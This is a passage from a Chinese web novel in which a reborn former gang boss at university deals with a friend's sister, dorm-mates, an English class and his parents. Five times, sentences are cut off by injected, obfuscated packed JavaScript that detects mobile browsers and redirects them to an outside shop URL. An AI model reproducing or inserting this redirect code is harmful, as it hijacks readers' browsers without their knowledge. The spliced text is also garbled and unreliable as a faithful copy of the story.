女孩绕过韩学涛,噔噔噔下了几个台阶。 “站住。” 声音不高,却像是钉子钉在地上——让你迈不动腿。 女孩脚步钉住了,回头看他,脸上迅速挂上一副凶相:“你撞了老娘,老娘没找你麻烦,**还不依不饶了?想干什么?说!” 韩学涛盯着她,目光不紧不慢地从她脸上碾过去:“你是不是从二楼南边最把头的那个房间里出来的?” 女孩眼神一凛,从头到脚把他剐了一遍,嘴里蹦出俩字:“放**屁!” 说完扭头就走。 韩学涛没追,只往下迈了一步,伸手一探,攥住了她的后脖领子,跟拎鸡崽子似的往回一拽。 “操!你干什么!”女孩整个人被他拽得趔趄回来,胳膊腿乱扑腾,“**放开!救命!非礼啊!” 韩学涛没吭声,攥着她脖领子就往楼上拖。一路拖到二楼南边最把头的房门口,他才松手,抬下巴点了点那扇门:“这屋,你出来的?” 女孩挣红了脸,瞪着眼珠子:“关你屁事!你谁啊你?撒开!再不撒开我叫我哥弄死你!” 韩学涛垂眼看着她,嘴角动了一下,像是笑,又不像。他从兜里摸出一串钥匙,不慌不忙地找出其中一把,**锁孔,轻轻一拧—— 门开了。 女孩愣了,眼珠子瞪得溜圆:“你……你怎么有我家钥匙?” 韩学涛没答话,一把将她搡进去,往屋里那张旧沙发上一推。 女孩跌进沙发里,弹起来就喊:“救命啊!有人强——!” 后面的字还没出口,对上韩学涛那双眼睛,不知怎的就卡在了嗓子眼里。 韩学涛靠在门框上,就那么看着她。 女孩被他看得发毛,嘴里还在硬撑:“你看什么看?老娘喊人你信不信?” 韩学涛吐了口烟,慢悠悠地说:“喊。这片住的什么人,你不知道?” 女孩不喊了,坐在沙发上,瞪着他,胸口一起一伏。 韩学涛弹了弹烟灰:“你哥呢?叫他回来,我找他。” 女孩愣了两秒,似乎想到了什么,猛地从沙发上弹起来,盯着韩学涛的脸,眼珠子越来越亮。 “你……你是韩……韩老大?” 韩学涛没接话,只抬了抬下巴:“包达呢?把你哥找回来。” 这个女孩就是包达的妹妹,包丽。六七岁那年被人贩子拐走了。 上一世,包达费了好大劲才在东南一座城市的发廊里找到她。那时候包丽已经染上毒瘾,人不人鬼不鬼。包达为了这个妹妹,二进宫三进宫,最后妹妹**,兄妹俩也没过上几天好日子。 这辈子包达提前找到了妹妹,如何还发生悲剧,简直就说不过去了。 他上一世在黑道摸爬滚打那么多年,有自己的规矩。其中一条,毒,绝对不碰。在美洲,**市场大得惊人,多少毒枭送钱上门求合作,他眼皮都不抬一下。为了这条规矩,地盘打了多少场,血流了多少,他都扛下来了。 正是因为这规矩,后来他才能顺顺当当洗白上岸。那些跟他斗得你死我活的南美大毒枭,最后一个个被CIA清了个干净。他呢?反手拿了石油巨头的订单,坐在办公室里抽雪茄。 这是他拿命守的底线。 包达要是敢让妹妹沾那玩意儿,他第一个饶不了包达。 包丽被他看得后脖颈子发凉,缩了缩脖子:“韩……韩大哥,我不知道是你,我……” “舌头伸出来。” 包丽一愣。 “伸出来。” 她乖乖把舌头伸出来。 韩学涛看了一眼舌苔,又抓起她的胳膊,把袖子往上一撸。他仔细看了看手臂内侧,又翻开眼皮看了看眼白。 动作干净利落,像是做过八百遍。 包丽被他摆弄得莫名其妙,又不敢动弹。 检查完,韩学涛松开手,脸色缓和了些。 还好,没沾。 他又问了一遍:“你哥呢?” 包丽的脸垮下来,苦着脸说:“我哥……被帽子叔叔抓进去了。” 韩学涛眉头一皱:“进去了?” 包达这他妈在干什么?让他来宁海,让他别偷别偷,还是进去了? 当时从周承那儿弄来的钱,他可是分了不少的。几个月时间,不够他造的? 包丽看出他在想什么,连忙摆手:“韩大哥,我哥这回不是偷!是打架!” 韩学涛意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428335|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“打架?” “韩大哥您坐,我给您泡茶!” 半个小时后,听包丽讲完,韩学涛才知道怎么回事。 包达找到妹妹之后,两人就窝在宁海。包达每天瞎晃悠,也没个正经营生,手里的钱光出不进。包丽看不下去了,寻思着自己总得干点啥。 她没啥技能,只会以前在发廊学的那点——洗头、按摩、吹头发。被拐那几年,她在沿海那边好几个发廊待过,主要就是给客人洗头,正经美发没学着多少。 回宁海之后,她又找了一家发廊,干起老本行。 宁海这地方,这时候开放程度还没跟上。发廊就是发廊,洗头就是洗头,顶多穿得清凉点儿,让客人揩揩油,到不了上钟那一步。 包达看了也没管——他自己就是个偷儿,还不如妹妹给人洗头。只要不上钟,擦边也不犯法,好歹算个合法职业。 问题出在别的地方。 包达老去找妹妹,一来二去,跟发廊的老板娘好上了。 但那老板娘外面还养着姘头。有一天包达和老板娘在店里,让姘头堵了个正着。仨人打成一块,包达把人抡成了轻伤,然后就进去了。 韩学涛听完,捏了捏眉心。 “进去多久了?” 包丽掰着指头算了算:“二十多天了吧。” 她眼巴巴看着韩学涛:“韩大哥,您说怎么办?我哥不能判吧?” 韩学涛没吭声,心里过了一遍。 二十多天,肯定不是治安案件了。那种没构成犯罪的斗殴,一般拘个五到十天。像包达这样的,估摸着得走刑事——拘留、批捕、判个半年左右。 他跟包丽说:“半年左右吧。别慌,回头我去问问。” 包丽一听,脸上的愁云散了大半。 包达跟她念叨过好几回韩学涛。她知道这是让她兄妹团聚的恩人,又是哥哥认的老大,心里服得很。韩大哥说没事,那就肯定没事。 她松了口气,又问:“韩大哥,您找我哥是有事儿吧?” 韩学涛点头:“本想让跑一趟粤海。结果他蹲号子里了,真是耽误事!” 包丽往前凑了凑:“我去啊!韩大哥,粤海那边我门儿清!” 第57章 帮我搬去女生寝室 包丽生怕韩学涛不信,往前又凑了一步,语速飞快: “韩大哥,我真不是在吹牛!我在粤海那边待了好几年,什么人没见过?发廊那条街从街头到街尾,上到开店的老板,下到送货的小弟,哪个不认得我?还有那些批发市场,门路我都门儿清!你要是让我去办什么事儿,我保证给你办得妥妥的!” 韩学涛看着她,没接话。 等她说完了,他才开口:“我让你办的事,用不着联系你以前那些人。以后最好是跟他们断掉。” 他从兜里掏出一张银行卡,递给包丽。 “你去粤海,帮我办一件事——买电动缝纫机。” 包丽愣了一下。 “不是随便买一台。”韩学涛说,“你要去了解,什么品牌、什么型号、维修率低。如果实在搞不清楚,就去问问哪种在市场占有率最高,大家都说好用的。” 包丽接过卡,眼睛亮起来:“韩大哥,我一定帮你把这事儿办好!” 韩学涛看着她那身打扮,皱了皱眉:“把衣服换了。” 包丽低头看看自己,又抬头看他。 “你是去做生意的,不是去给客人洗头按摩的。”韩学涛说,“做生意就要有做生意的样子。” 包丽听着这话,脸上露出新奇的表情:“我是做生意的?倒爷——不对,倒姐?” 韩学涛点头:“对了,你就是个倒姐。” 他顿了顿,语气认真了几分:“帮我把事情干好了,以后你就是女老板。” 包丽抿着嘴,使劲点了点头。 韩学涛看着她,又说了一句:“包丽,记住——不要被任何人往下拉。路要自己往上走。以前那些你认识的人,屁都不是。等你有了钱,那时候认识的人,才是真的人脉。” 包丽听着,脸上的表情慢慢变了。 “韩大哥,你比我哥更像是我哥!” ... 韩学涛回到学校时,寝室里就老谢一个人。 “其他人呢?” 老谢正坐在床上看书,抬头说:“于鑫和李靖去打游戏了。小白去诗社参加活动。小巴他们川省老乡会,有聚餐。大江拿着电话卡出去的,应该给女朋友打电话去了。” 韩学涛问:“寝室里有电话,赵江为啥不在寝室打?” 老谢笑了:“寝室打外线挺麻烦的,不如外面电话亭。而且大江脸皮薄,有些话不好意思在人多的地方说呗。” 韩学涛点点头,走到自己座位,翻出书来准备学习。 刚翻开两页,老谢凑过来了。 “兄弟,有个事儿想跟你说。”老谢的语气有点迟疑。 韩学涛抬头看他:“说。” 老谢挠了挠头,难得露出不好意思的表情:“你能不能……帮我介绍进校学生会?” 韩学涛愣了一下:“怎么找到我?我又不是学生会的。这事儿应该找导员吧。” 老谢脸上的不好意思更浓了:“是这么回事儿……上次跟405寝室聚餐的时候,你跟孙婷婷、展雪她们说的话,我听到了几句。” 他连忙解释:“不是我有意听的,实在是咱们就隔着一个人,离得近。” 韩学涛没吭声。 老谢继续说:“这届新生我打听过了。展雪是文艺部的副部长,孙婷婷是女生部的副部长。还有你那个高中同学,也进了学生会。人家拉你进去,你没去。” 韩学涛微不可查地皱了皱眉。 老谢的耳朵,够灵的。 老谢又说:“兄弟,你是咱们寝室学习最用功的。高考分数我们寝室第二,还能这么用功,这方面我是佩服的。但我学习不行啊,高考复读了两年。所以我明白一个道理——一切都得早做打算。” 他顿了顿:“虽然现在才大一,但大学几年过得很快。现在又有风声说毕业不包分配了,那我就得尽量给自己多攒点资历。要不然毕业连个工作都混不上,那可怎么办?” 韩学涛看着他,没说话。 老谢的想法他能理解。人想给自己找条路子,无可厚非。高考复读两年,比别人多吃了两年苦,比别人更知道机会来之不易。想进学生会攒资历,为毕业铺路,这是正常人的正常想法。 但老谢就这么找上来,他不认可。 你不能听到别人几句话,没有任何铺垫,就这么舔着脸凑上来,好像自己一定会看在同寝室的面子上帮忙似的。脸皮厚诚然是混社会的一个法宝,但也得看用在什么地方,用在什么人身上。 现在这样,只会让人觉得廉价。 他刚要开口拒绝,寝室的电话响了。 老谢离得近,起身去接:“喂?找谁?……在,等一下。”他扭头看韩学涛,嘴巴不出声地做了个口型——女生。 韩学涛走过去接过话筒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428336|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那边是李曼的声音:“韩学涛?你有空吗?能不能来生活区小超市一趟?” “怎么了?” “我搬一个东西,走不动了。” 韩学涛没多问,说:“你等我。” 挂了电话,他跟老谢说:“回头再说,我先出去一趟。” 老谢点点头:“你去忙,我的事不急。” 韩学涛下楼,穿过宿舍区,走到生活区的小超市。 远远就看见李曼战在超市门口的台阶上,旁边地上立着一个三层的书架。书架不小,立起来快到她腰了。 韩学涛走过去,指了指书架:“你买的?” 李曼摇头:“不是买的,是我妈给我寄过来的。家里的。” 韩学涛看了看那书架:“你们寝室有地方放这个?” “我们政管系的寝室比其他系的大。” 韩学涛弯腰试了试书架的分量,挺沉。他把书架扛上肩,说:“我给你送到楼下,你喊你们寝室的人下来一起搬。” 李曼跟在旁边,边走边说:“本来不想喊你的,从邮政弄到生活超市这段,我实在搬不动了。回头我请你吃饭。” 韩学涛扛着书架到女生宿舍楼下,李曼让他等着,自己跑上楼叫人。 过了五六分钟,她一个人下来了。 “寝室就一个人,还扭了脚,根本下不了地。”李曼看着那书架,咬了咬嘴唇,“要不你放这儿吧,我自己扛上去。” 韩学涛问:“几楼?” “五楼,510。” 韩学涛看了她一眼:“怎么住那么高?” 李曼说:“让新生多爬楼呗。” 韩学涛没再说话,把书架往肩上颠了颠,抬脚就往女生宿舍楼里走。 “哎——”李曼愣了一下,想拦没拦住。 刚踏进一楼,门卫室里冲出一个阿姨,嗓门大得整栋楼都能听见:“哎哎哎!你干什么的!这是女生宿舍,男的不能进!” 韩学涛头也没回,几个大步跨上楼梯,转眼就上了二楼。 “你给我站住!”阿姨在后面追,但哪追得上二十出头的年轻人。 李曼站在楼下,看着那个扛着书架、头也不回往楼上冲的背影,整个人愣在那儿。 他怎么就……这么闯进去了? 待会儿下来怎么办?被阿姨逮住,搞不好要扭到学校保卫处。 想到这儿,李曼赶紧跟了进去。 第58章 硬闯 韩学涛扛着书架,大步流星往楼上走。 一楼、二楼、三楼——每上一层,遇到的女生就多一波。 二楼拐角处,一个女生正端着盆出来,看见他,盆差点脱手。她往后退了两步,闪进旁边的寝室,门“砰”地关上。 另一边走廊里,两个女生并肩走着,看见他,同时停下脚步。其中一个大大方方打量了他两眼,另一个扯了扯她袖子,两个人贴着墙根快步走过,走远了还回头看了一眼。 最夸张的是三楼。 他刚拐上楼梯,就听见一声惊呼:“哎!有男生进来了!很帅的!你们快出来看!” 话音刚落,旁边一扇门呼啦打开,冲出三四个女生。有的穿着睡衣,有的头发还湿着,齐刷刷把目光投过来。 “哪儿呢哪儿呢?” “就那个!扛书架那个!” “哇,真的挺帅的……” “哪个系的?怎么跑女生楼来了?” 韩学涛目不斜视,盯着楼梯,脚步一点没慢。周围那些莺莺燕燕的声音,他权当没听见。 正往上走,从四楼迎面下来两个女生。 看见韩学涛,周兰和胡荔荔愣住了。 “韩学涛?”周兰瞪大眼睛,“你怎么进来了?要到我们寝室去吗?” 旁边胡荔荔也看着他,手里拿着书,像是要去上自习。 韩学涛脚步没停,从她们身边走过:“不是,帮同学搬个东西,马上就走。” 说完拐过楼梯,上了五楼。 周兰和胡荔荔面面相觑,愣了两秒,然后加快脚步噔噔噔往楼下跑,好像生怕他从五楼下来再碰上似的。 韩学涛找到510,把书架往门口一放,一秒也不多待,转身就走。 下到四楼,正碰上追上来的李曼。他往上一指:“放你们门口了,你自己搬进去。” 说完继续往下走。 李曼看了一眼楼上,犹豫了一秒,没往上走,转身跟着他又往楼下跑。 跑到一楼,果然看见韩学涛被门口阿姨拽住了,旁边已经围了一圈看热闹的女生。 阿姨一只手拽着他袖子,嗓门大得整栋楼都能听见:“你给我站住!耳朵聋了?在后面喊那么大声听不见?这是女生楼!男的不能进你不知道?别走,我打电话给保卫科!” 李曼急了,正要上前解释,就看见韩学涛一把拽过阿姨的手—— 然后开始比划。 那手势一出来,李曼的脚就钉在了原地。 哑语? 她盯着韩学涛的手,眼睛越睁越大,嘴张着,一个字都说不出来。 一般人用手随便比划,跟哑语是不一样的。哑语有特定的着力点和顿挫感,没练过的根本学不像。而看韩学涛此时的手势,任何人都不会觉得他是在瞎装。 旁边围观的女生也愣了,窃窃私语的声音一下子停了。 韩学涛比划了一通,见阿姨已经完全懵了,收回手,转身就走。 阿姨刚才的那股不依不饶的劲,此时都没了,站在原地,一脸懵逼。 李曼扯了扯嘴角,然后“扑哧”一声笑了出来。 她赶紧捂嘴,朝韩学涛追了过去。 李曼追着韩学涛,一路又回到生活超市。 “说了请你吃饭,这会儿食堂没开门,先请你吃冰淇淋吧。”李曼指了指超市门口的冰柜,“不过那边没座位了。” 她买了两个冰淇淋,递给韩学涛一个,两个人端着往旁边篮球场走。 篮球场边上有一圈水泥台阶,正好当座位。这会儿稀稀拉拉坐着些人,有男有女,场上两拨学生正打得热闹,旁边还有几个女生拿着矿泉水瓶当啦啦队,时不时喊两嗓子。 韩学涛和李曼找了个空位坐下。 “刚才谢谢你了。”李曼舔了口冰淇淋,“要不是你,那书架我估计得搬到天黑。” 韩学涛咬了一口:“没事。” 李曼扭头看他:“你当时怎么就硬往上闯?万一阿姨把你揪到保卫科,你就麻烦了。说不定还得背个处分。” 韩学涛说:“现在不是没事儿么。” 李曼想起刚才那一幕,忍不住笑了,好奇地问:“你学过哑语?” 韩学涛点点头。 “怎么会学那个?” 韩学涛咬了口冰淇淋,随口说:“我喜欢学语言。家里正好有一本书,顺便就学了。” 他当然没说真话。 实际上,他曾经有个保镖是聋哑人,泰拳很厉害,而且特别忠诚。韩学涛救过他的命,他就一直跟着,最后也是为了救韩学涛死的。 李曼听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428337|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他这个说法,又想到他英语说得那么溜,忍不住说:“那你应该去外语系。” 韩学涛笑了一下:“我报的就是外语系。分不够,调剂去的地质。” 李曼觉得挺可惜的,又问:“那你在地质系学什么专业?” “地图制图学与遥感地质。” 李曼显然没听过这个名字:“这是干嘛的?” “系里安排的,好像还是跟计算机系的联合教学试点专业。”韩学涛说,“应该挺有前途。” 李曼点点头:“那就好。” 两个人不说话了,看着场上两拨人打篮球。 运球、传球、投篮,球砸在篮板上的闷响,还有啦啦队时不时爆发的欢呼。 过了一会儿,李曼忽然开口:“你们寝室找联谊寝室了?” 韩学涛说:“你们楼下405。” 李曼点点头:“我知道,是展雪她们寝室。我们寝室的人还问我呢——” 她忽然换了种语气,学着寝室女生那种八卦的腔调:“哎,那个给你送肯德基的帅哥,怎么不来找我们做联谊寝室呀?是不是瞧不上咱们?” 韩学涛被逗乐了,说:“我们寝室小白联系的,跳霹雳舞那个,跟405一个女生都在校园诗社。” 李曼点点头,不说话了。 韩学涛看了她一眼:“是展雪告诉你的,还是孙婷婷跟你说的?” 李曼摇头:“都不是。新生汇演之后我就没见过展雪。孙婷婷?她爸跟我家关系不太好,我们也不怎么说话。” 韩学涛问:“那是谁告诉你的?” 李曼舔了口冰淇淋:“程嘉。”她顿了顿:“展雪和孙婷婷她们寝室,在这届新生里可出名了。找了地质系一个男生寝室联谊,还不得传得沸沸扬扬。” 程嘉?韩学涛眼睛微微一眯。 河滨公园烧烤那次,他带着王峰和李岩过来道歉。新生汇演彩排,他又过来说“别紧张,给一中争光”。还有展雪的说法——这个师哥,挺活跃的。 “对了,你们校学生会还有名额没?”韩学涛突然问。 李曼一愣,扭头看他:“你想通了?” “我精力都放在学业上,下学期想提前开始专业课。”韩学涛摇头,说,“我帮寝室一个哥们问问。” 第59章 倒姐十七岁 老谢从学生会开完会回来,一进寝室就把韩学涛拉到了走廊里。 “兄弟,这事儿真得好好谢谢你。”老谢声音不高,但那股热乎劲儿藏都藏不住,“今天去学生会报到,我才知道生活部这位置多少人盯着。好几个系的都递了申请,最后就录了三个。要不是你帮我递了话,这机会怎么也轮不到我。” 他说着,伸手拍了拍韩学涛的肩膀:“周末一起小食堂吃个饭,以后有什么用得着的地方,你尽管开口。我这人没别的本事,但办事靠谱,你信得过我,我肯定给你办得妥妥当当的。” 韩学涛说:“周末我得回家,吃饭以后再说吧。” 老谢连忙说:“那行那行,等你回来。这事儿我记着呢,咱们慢慢来。” ... 英语课。 韩学涛推门进教室,抬头看了一眼讲台,脚步顿了一下。 讲台旁边站着一个外国人。 金发,蓝眼睛,四十来岁,穿着一件格子衬衫,正低头翻着讲义。 韩学涛身后几个同学也愣了,有人小声嘀咕:“走错教室了?” 他们退出去看了一眼门牌,又看了看课表,没错,就是这个教室。 人陆续到齐,那外国人放下讲义,走到讲台中央,开口说英语,语速不快,吐字清晰: “大家好,我叫迈克尔·怀特,来自英格兰。你们原来的陈老师家里有事,请了长假,所以这个学期后面的英语课,由我来代课。希望和大家相处愉快。” 底下静了一秒,然后嗡嗡声四起。 “**,外教?” “咱们地质系也有外教了?” “没听是代课么,就这学期。” “那也牛逼啊,外语系才有的待遇吧?” 韩学涛坐在座位上,没吭声。 外教在国内大学出现没几年。宁海大学这种全国排名前几的学校,有外教不稀奇,但一般都集中在经贸系、外语系,还有一些跟国外技术合作密切的专业。地质系能摊上一个,虽然是代课,也算是稀罕事。 怀特等下面的议论声稍歇,又开口:“今天第一次和大家见面,我想邀请几位同学起来用英语做个自我介绍。时间有限,只能请几位。” 教室里气氛一下子紧张起来。 有人低头看桌面,有人假装翻书,有人盯着黑板一动不动。 怀特不搞突然袭击,笑着拿起名册:“不用紧张。我点五个人,给你们十分钟准备。十分钟后,第一位同学开始。” 他念了五个名字。 两个女生,三个男生。 203寝室占了两个——赵江,楚强。 赵江坐在韩学涛旁边,听到自己名字,整个人僵了一下。韩学涛感觉到他那边椅子都晃了晃。 “怎么办怎么办?”赵江压低声音,脸上汗都下来了,“我英语最差了,让我说啥啊?” 韩学涛看他一眼:“十分钟,你先写一段,待会儿起来照着念。” 赵江立刻掏出纸笔,咬着笔头开始写。 写了第一行:MynameisZhaoJiang。 然后卡住了。 他盯着那张纸,眉头拧成疙瘩,那表情像是要把课桌吃了似的,额头上汗珠都冒出来了。 韩学涛看不过去,伸手把他的本子和笔拿过来,刷刷刷写了几行,推回去。 赵江低头一看,眼睛亮了。 “兄弟,仗义!”他压低声音,表情明显松了口气。 十分钟到。 怀特拍了拍手,示意大家安静:“好,时间到了。第一位,请——” 他看了看名册:“李娜。” 一个女生站起来,手里攥着一张纸,低着头开始念。念得磕磕巴巴,但好歹念完了。 第二个也是女生,同样拿着稿子,中规中矩。 第三个是个男生,站起来说了句“MynameisWangLei”,然后就卡住了。脸憋得通红,嘴张了张,一个字都蹦不出来。 教室里有人憋不住笑,捂着嘴低头。 怀特没难为他,点点头:“Good,sitdownplease.(很好,请坐)” 那男生如蒙大赦,一屁股坐下。 “下一位,赵江。” 赵江站起来,深吸一口气,低头看了一眼稿子,开口: “我叫赵江,是咱们班个子最高的。有人说月亮照在江面上的时候,几里地外都能看见我的影子。这话可能有点夸张,但我确实觉得,往人堆里一站,挺好找的。” 他顿了顿,继续说: “朋友都管我叫‘大江’,因为名字听着就像一条河。我不介意。江水一直流,从不回头,总能找到去海里的路。我希望我的日子也能过成这样。” 教室里安静了一秒,然后有人轻轻笑了。 怀特眼睛亮起来,等赵江坐下,他点点头:“非常不错,赵江。这番介绍太精彩了。我很喜欢那个河流的比喻。” 赵江坐下,长长舒了一口气,扭头冲韩学涛竖起大拇指。 最后一个,楚强。 他站起来,脸上没什么表情,开口: “MynameisChuQiang.” 然后他跟着说了一句: “Actionsspeaklouderthanwords.(行动胜于言语)” 说完,他坐下了。 教室里静了一瞬。有人没反应过来,有人听懂了但没明白什么意思。 怀特愣了一下,然后笑了:“Avery...uniqueboy.” 他走回讲台,看着底下这些新生,语气认真起来: “我看得出来,你们的英语还差着火候。语言不是用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428338|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考试的,是用来交流的。这是我教学的宗旨。以后在课堂上,我会尽量和大家多用英语交流,让每一次上课都像是朋友之间的对话。” 他顿了顿:“另外,学校有英语角,每个周末开放。希望能在那里见到你们。” ... 包丽从粤海回来了。 韩学涛去她的住处,一进门,发现眼前的包丽跟以前简直判若两人。 她穿着一件宽大的西装外套,垫肩厚得能把肩膀撑宽两寸,里面配着蓝衬衣,下面是条直筒西裤,脚上一双黑色皮鞋。头发在脑后扎了个低马尾,脸上妆也淡了,看起来倒像个跑单帮的小老板。 但她毕竟才十七岁。 那张脸太年轻,撑不起这身打扮,怎么看怎么违和,像小孩偷穿了大人的衣服,透着股说不出的滑稽感。 “韩大哥!”包丽看见他,眼睛一亮,拉着他就往里走,“你快来看,我给你买回来的缝纫机!” 屋里靠墙放着一台崭新的电动缝纫机,机身乳白色,上面印着“蝴蝶”两个字。 包丽指着缝纫机,语速飞快:“我到了那边,先去几个批发市场看了。市面上主要就三个牌子,蝴蝶、飞人、标准。价格都差不多,功能也大同小异。我不敢随便定,正好赶上那边有个轻工产品展销会,我就去转了转,跟几个厂家的销售谈了谈,拿了一堆资料回来。” 她从桌上翻出一叠资料,递给韩学涛。 “然后我又去找以前在发廊认识的一个小姐妹。她后来没干那行了,进了一家服装厂踩缝纫机。我问她她们厂里用什么机子,说用蝴蝶的多,皮实耐用,坏了也好修。而且这款新出的,比老款多了好几种装饰线迹,能锁边、能绣花,做出来的活儿细。” 她顿了顿,有点不好意思:“不过她说,功能上比进口的还是差不少。日本兄弟牌的更好,但价格贵一倍不止,咱们这种刚起步的,用蝴蝶足够了。” 韩学涛翻了翻那些资料,又看了看那台缝纫机,点了点头。 包丽又从包里掏出一个本子,翻开给他看:“韩大哥,这是我这次出去的账,你过目。” 本子上密密麻麻记着:火车票多少钱,住店多少钱,吃饭多少钱,买资料多少钱,最后买缝纫机多少钱。每一笔后面都贴着发票,整整齐齐。 韩学涛看了她一眼。 这小丫头,别看年纪小,办事还挺上路子。 他从兜里掏出一沓钱,数了十张,递过去:“这是给你的奖励。回头有事再找你。” 包丽接过钱,眼睛弯成两道月牙:“谢谢韩大哥!” 韩学涛拎起缝纫机准备走,包丽忽然叫住他: “韩大哥,等等!” 她凑过来,压低声音,脸上带着兴奋: “我这次出去,发现了一个赚钱的路子。” 第60章 不是怕你坏,是怕你扛不住 韩学涛停下脚步,回头看她。 “什么路子?” 包丽凑过来说:“粤海那边,假货特别多!洗发水、化妆品、染发剂,什么都有,包装做得跟真的一模一样,价格只有正品的五分之一!我认识好几个老乡就在干这个,往内地的发廊批发,生意好得不得了!咱们要是也能倒腾一批回来,卖给宁海这边的发廊,肯定能赚一笔!” 她越说越兴奋,手舞足蹈。 韩学涛看着她,点了一根烟。 包丽被他看得有点发毛,声音渐渐低下去:“韩大哥……你觉得不行?” 韩学涛把缝纫机放下,在她对面坐下。 “包丽。我问你,你在发廊干过,那些假货往客人头上抹,你心里什么感觉?” 包丽愣了一下,张了张嘴。 韩学涛没等她回答,继续说:“头皮洗烂过没有?脸过敏过没有?如果你的脸被别人毁容了,你怎么想?” 包丽低下头。 韩学涛笑了笑,那笑容有点淡。 “你跟我说的这个路子,我难道不知道?”他吐了口烟,“粤海那边做这个的,以后至少要进去一半,做得越大死得越惨。” 包丽抬起头看他。 韩学涛把烟灰弹进旁边的易拉罐里。 “我不是什么好人,包丽。”他的声音不高,平铺直叙,“脏钱我见过,也碰过。但我告诉你一件事——这世上有些钱,赚了就得拿命顶。不是怕你坏,是怕你扛不住。” 他顿了顿。 “你要真想做坏人,就做个大的,做个谁都动不了你的。卖假洗发水?算什么东西。” 包丽愣住了。 韩学涛把烟掐了,看着她。 “倒假货,赚那三瓜俩枣,够你洗几次手的?你洗得掉吗?” 包丽眼眶有点红,没吭声。 韩学涛把那张银行卡递过去。 “你要倒,倒点正经东西。”他说,“抽油烟机。你去粤海找几家正经厂子,拿货,往内地销。本金我出,利润你拿两成。等你手上有钱了,再想自己要干什么。” 他站起身,“到时候你想卖假货,我不拦你。你自己扛得住就行。” 包丽接过卡,攥在手心里。 “是,韩大哥。” ... 韩学涛拎着缝纫机推开家门,就感觉气氛不对。 韩德富坐在床边,脸扭向墙,闷声不吭。赵秀荣站在桌子边上,手里攥着块抹布,使劲擦着那块本来就干净的桌面,擦得咯吱咯吱响。 “不就是为了你好?你那个身体能干那个活儿?” “我怎么就不能干了?当年在厂里我也是技术岗,你又不是不知道!” “当年是当年!现在承包给私人了,计件工,你以为那四百五十块钱那么好拿?你颈椎受得了?眼睛受得了?出了工伤谁管你?” “我的腿也没让人打断!” “你——” 韩学涛站在门口听了几句,总算听出点眉目。 他把缝纫机放下,走过去:“爸,你这是干啥?刚出院就惹我妈生气?在医院的时候我妈可没少照顾你。” 韩德富哼了一声:“我还不是为了她好!” 韩学涛问:“到底怎么回事?” 韩德富一扭头:“问你妈去!” 韩学涛转向母亲。 赵秀荣把手里的抹布一放,叹了口气:“你萍姐她老公,在国棉三厂那个车间,现在承包出去了。他当车间副主任,说缺个锁眼工,一个月能开四百五,让我过去。” “范爱萍?”韩学涛记得这个萍姐,当时租房子的时候来的。他看了看父亲,又看了看母亲。 四百五。这个数目在九六年不算少。一般的工厂工人,一个月也就三百来块。 韩德富在旁边闷声说:“你妈多大年纪了?那个锁眼工,整天低着头盯着机器,她颈椎受得了?眼睛受得了?那厂子承包给私人了,计件工,想拿四百五,一天得锁多少扣眼?出了工伤谁管?爱萍她老公是车间副主任,又不是厂长!” 赵秀荣梗着脖子:“我又不干一辈子!干几年,等小涛毕业了,我就不干了!” 韩学涛听完,心里明白了。 这次父亲说得对。 他走过去,站在母亲面前:“妈,这活儿不能干。” 赵秀荣愣了一下。 韩学涛说:“我这点学费,用不着你们操心。系里已经给我报了勤工俭学,到时候有收入,不但够学费和生活费,还能有富余。” 赵秀荣张了张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩德富一愣:“还有我什么事儿?” 韩学涛说:“电动缝纫机的改装,你能做不?” 韩德富腰杆挺了挺:“那要看图纸。” 韩学涛又从包里掏出一本书,递过去:“这是我从学校图书馆借的。你看看。” 韩德富接过来翻了翻,抬头看他:“这也是你们老师交代的任务?” 韩学涛说:“那当然。不过目的不是真要做出来,是在现有基础上研究改进的方向。” 